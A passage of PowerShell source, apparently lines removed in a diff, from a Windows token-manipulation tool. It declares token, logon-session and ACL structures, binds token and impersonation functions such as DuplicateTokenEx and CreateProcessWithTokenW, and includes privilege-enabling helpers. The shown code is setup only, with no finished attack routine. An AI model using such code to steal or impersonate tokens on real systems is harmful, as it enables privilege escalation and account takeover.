[UInt32] 25) | Out-Null - $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null - $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null - $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null - $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null - $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null - $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null - $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null - $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null - $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null - $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null - $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null - $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null - $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null - $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() - - #STRUCTs - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LARGE_INTEGER = $TypeBuilder.CreateType() - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - - #Struct TOKEN_STATISTICS - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null - $TOKEN_STATISTICS = $TypeBuilder.CreateType() - - #Struct LSA_UNICODE_STRING - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null - $LSA_UNICODE_STRING = $TypeBuilder.CreateType() - - #Struct LSA_LAST_INTER_LOGON_INFO - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null - $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() - - #Struct SECURITY_LOGON_SESSION_DATA - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null - $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null - $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() - - #Struct STARTUPINFO - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null - $STARTUPINFO = $TypeBuilder.CreateType() - - #Struct PROCESS_INFORMATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null - $PROCESS_INFORMATION = $TypeBuilder.CreateType() - - #Struct TOKEN_ELEVATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null - $TOKEN_ELEVATION = $TypeBuilder.CreateType() - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - - #Struct ACE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null - $ACE_HEADER = $TypeBuilder.CreateType() - - #Struct ACL - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null - $ACL = $TypeBuilder.CreateType() - - #Struct ACE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null - $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() - - #Struct TRUSTEE - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null - $TRUSTEE = $TypeBuilder.CreateType() - - #Struct EXPLICIT_ACCESS - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null - $EXPLICIT_ACCESS = $TypeBuilder.CreateType() - ############################### - - - ############################### - #Win32Functions - ############################### - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - - $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken - $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) - $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) - - $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation - $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) - - $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken - $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) - $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) - - $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser - $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) - - $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf - $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) - $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) - - $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData - $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) - $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) - - $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW - $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) - $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) - - $memsetAddr = Get-ProcAddress msvcrt.dll memset - $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) - $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) - - $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx - $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) - $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) - - $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW - $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) - $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) - - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer - $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) - $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) - - $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread - $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) - - $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken - $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) - $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) - - $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW - $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) - $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) - - $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW - $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) - $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) - - $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA - $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) - - $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf - $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) - $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) - - $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA - $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) - $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) - - $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges - $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) - $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) - - $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread - $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) - $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) - - $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo - $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) - $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) - - $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo - $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) - $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) - - $GetAceAddr = Get-ProcAddress advapi32.dll GetAce - $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) - $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) - - $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW - $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) - $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) - - $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce - $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) - $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) - - $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid - $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) - $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) - - $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW - $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) - $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) - - $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree - $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) - $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) - - $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW - $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) - $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) - ############################### - - - #Used to add 64bit memory addresses - Function Add-SignedIntAsUnsigned - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Int64] - $Value1, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $Value2 - ) - - [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) - [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) - [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) - - if ($Value1Bytes.Count -eq $Value2Bytes.Count) - { - $CarryOver = 0 - for ($i = 0; $i -lt $Value1Bytes.Count; $i++) - { - #Add bytes - [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver - - $FinalBytes[$i] = $Sum -band 0x00FF - - if (($Sum -band 0xFF00) -eq 0x100) - { - $CarryOver = 1 - } - else - { - $CarryOver = 0 - } - } - } - else - { - Throw "Cannot add bytearrays of different sizes" - } - - return [BitConverter]::ToInt64($FinalBytes, 0) - } - - - #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL - function Enable-SeAssignPrimaryTokenPrivilege - { - [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() - if ($ThreadHandle -eq [IntPtr]::Zero) - { - Throw "Unable to get the handle to the current thread" - } - - [IntPtr]$ThreadToken = [IntPtr]::Zero - [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if ($Result -eq $false) - { - if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) - { - $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - } - else - { - Throw ([ComponentModel.Win32Exception] $ErrorCode) - } - } - - $CloseHandle.Invoke($ThreadHandle) | Out-Null - - $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) - $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) - $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) - - $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject) - - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) - $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) - $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) - - $LuidAndAttributes.Luid = $LuidObject - $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED - - [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) - $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) - $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) - $TokenPrivileges.PrivilegeCount = 1 - $TokenPrivileges.Privileges = $LuidAndAttributes - - $Global:TokenPriv = $TokenPrivileges - - $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) - if ($Result -eq $false) - { - Throw (New-Object ComponentModel.Win32Exception) - } - - $CloseHandle.Invoke($ThreadToken) | Out-Null - } - - - #Enable SeSecurityPrivilege, needed to query security information for desktop DACL - function Enable-Privilege - { - Param( - [Parameter()] - [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", - "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", - "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", - "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", 